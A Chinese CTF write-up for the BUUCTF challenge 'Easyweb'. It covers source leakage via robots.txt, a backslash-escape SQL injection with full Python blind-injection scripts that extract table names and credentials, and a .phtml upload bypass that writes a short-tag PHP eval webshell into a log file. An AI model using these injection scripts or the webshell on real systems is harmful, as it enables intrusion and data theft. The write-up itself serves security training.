考点:
1.敏感信息泄露
2.sql盲注脚本编写
3.文件上传绕过
登陆页面,查看源码,发现image.php有id参数
访问,尝试id为1,2,3时都有图片,其他均没有显示,猜测盲注,尝试异或id=0^1和 0 ^ 0 无反应,换思路,扫描路径扫到敏感文件robots.txt,访问
提示有.php备份文件,根据源码有index.php image.php uesr.php 最终访问image下载到源码
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
$id 变量 用于接收get型参数id的值,如果没有id参数将设置为1
$path 变量用于接收get型参数path的值,如果没有则置空
addslashes用于对$id 和 $path中的’ ,"和\进行转义
str_replace用于将 $id 和 $path 中的特定字符(\0、%00、\ ‘、’)替换为空
最后将过滤后的$id 和 $path 拼接到sql语句中
select * from images where id='{$id}' or path='{$path}'
需要构造sql注入。参考了一下别人的wp:[CISCN2019 总决赛 Day2 Web1] Easyweb
可以将id参数设置为 \\0
即id="\\0"
,因为是字符串,所以反斜杠为转义字符,id会被解析为\0
,经过addslashes函数处理后变成 \\0
,最后经过str_replace后变为\
此时的sql语句为select * from images where id='\' or path='{$path}'
这时的反斜杠\会将第二个单引号转义,使其变为普通字符,也就是说第一个单引号此时与第三个单引号闭合,id参数对应的值为' or path=
此时就可以构造自己定义的$path参数来拼接sql语句,达到sql注入的目的
构造payload验证是否能注入:?id=\\0&path= or 1=if(length(database())>1,1,-1)--+
将条件改为<1,页面返回空白,说明存在盲注
先查看有回显的页面返回信息,以方便编写脚本
返回图片信息中有JFIF,可作为盲注脚本判断依据
参考我做的另外一道题的脚本:[极客大挑战 2019]FinalSQL
使用二分法:
1.获取表名
import requests
target = "http://2e84c490-de46-4dbd-937e-6099ccfd9759.node4.buuoj.cn:81/image.php?id=\\0"
def getTable():
table_name = ""
for i in range(1,50): #注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low+high)//2
while low < high: #二分法
payload = "&path= or 1=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))>%d,1,-1)--+" % (i,mid)
r = requests.get(url=target+payload)
if "JFIF" in r.text: #为真时说明该字符在ascii表后面一半
low = mid+1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127: #没找到
break
table_name += chr(mid) #将ascii码转换为字符
print("表名:" + table_name)
跑出表名为images 和 users
我们需要利用sql注入查询到用户名和密码方便登陆,所以应该是查询users表
2.获取users表的字段名
原本脚本中的payload应该是path= or 1=if(ascii(substr(select group_concat(column_name) from information_schema.columns where table_name='users'),%d,1)>%d,1,-1)
但是’和"被过滤了,可以将其转换为十六进制 users对应的16进制为0x7573657273
脚本:
def getColumn():
column_name = ""
for i in range(1,50): #注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low+high)//2
while low < high: #二分法
payload = "&path= or 1=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),%d,1))>%d,1,-1)--+" % (i,mid)
r = requests.get(url=target+payload)
if "JFIF" in r.text: #为真时说明该字符在ascii表后面一半
low = mid+1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127: #没找到
break
column_name += chr(mid) #将ascii码转换为字符
print("表名:" + column_name)
得到列名为username和password
3.获取username的值和password的值
def getUsername(): #获取username
username = ""
for i in range(1,50): #注意是从1开始,substr函数从第一个字符开始截取
low = 32
high = 127
mid = (low+high)//2
while low < high: #二分法
payload = "&path= or 1=if(ascii(substr((select group_concat(username) from users),%d,1))>%d,1,-1)--+" % (i,mid)
#获取password:select group_concat(password) from users
r = requests.get(url=target+payload)
if "JFIF" in r.text: #为真时说明该字符在ascii表后面一半
low = mid+1
else:
high = mid
mid = (low+high)//2
if low <= 32 or high >= 127: #没找到
break
username += chr(mid) #将ascii码转换为字符
print("username:" + username)
得到username为admin,password为93d80502fe062bd03e0e
登陆后是一个文件上传的页面
上传时抓包。尝试上传普通txt文件
回显文件位置
尝试上传空的php文件发现有检测文件后缀
换成.phtml后缀成功绕过,但是它回显的并不是我上传文件的路径,而是上传文件的日志记录的路径
这个日志文件是一个php文件,访问发现它记录了我上传文件的信息:
日志文件里面包含文件名。既然这是一个php文件,那么就可以直接将上传文件的名字写为一句话木马,然后.php日志文件就会写入这个木马
但是它对文件名进行了检测,猜测是匹配了php关键字,可以使用短标签绕过
payload:<?=@eval($_POST['r1']);?>
上传成功,可以上蚁剑,也可以直接hackbar里操作
flag在根目录下